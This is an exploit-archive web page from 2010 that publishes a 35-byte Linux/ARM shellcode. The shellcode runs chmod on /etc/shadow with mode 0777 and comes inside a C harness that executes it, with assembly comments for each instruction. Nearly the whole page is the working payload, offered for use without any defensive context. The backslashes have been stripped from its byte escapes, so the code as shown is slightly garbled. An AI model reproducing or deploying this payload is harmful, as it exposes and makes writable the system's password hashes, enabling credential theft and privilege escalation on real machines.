linux/ARM chmod("/etc/shadow", 0777) Shellcode 35
Posted on 29 June 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/ARM chmod("/etc/shadow", 0777) Shellcode 35 Bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>======================================================= linux/ARM chmod("/etc/shadow", 0777) Shellcode 35 Bytes ======================================================= /* | Title: Linux/ARM chmod("/etc/shadow", 0777) Shellcode 35 Bytes | Type: Shellcode | Author: Florian Gaultier <florian.gaultier@shell-storm.org> | Platform: Linux ARM (ARM926EJ-S rev 5 (v51)) | [+] http://www.shell-storm.org */ #include <stdio.h> char shellcode[] = "x01x60x8fxe2" //add r6, pc, #1 "x16xffx2fxe1" //bx r6 "x78x46" //mov r0, pc "x0cx30" //adds r0, #12 "xffx21" //movs r1, #255 "xffx31" //adds r1, #255 "x0fx27" //movs r7, #15 "x01xdf" //svc 1 "x01x27" //movs r7, #1 "x01xdf" //svc 1 "/etc/shadow" int main() { (*(void(*)()) shellcode)(); return 0; } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-29]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>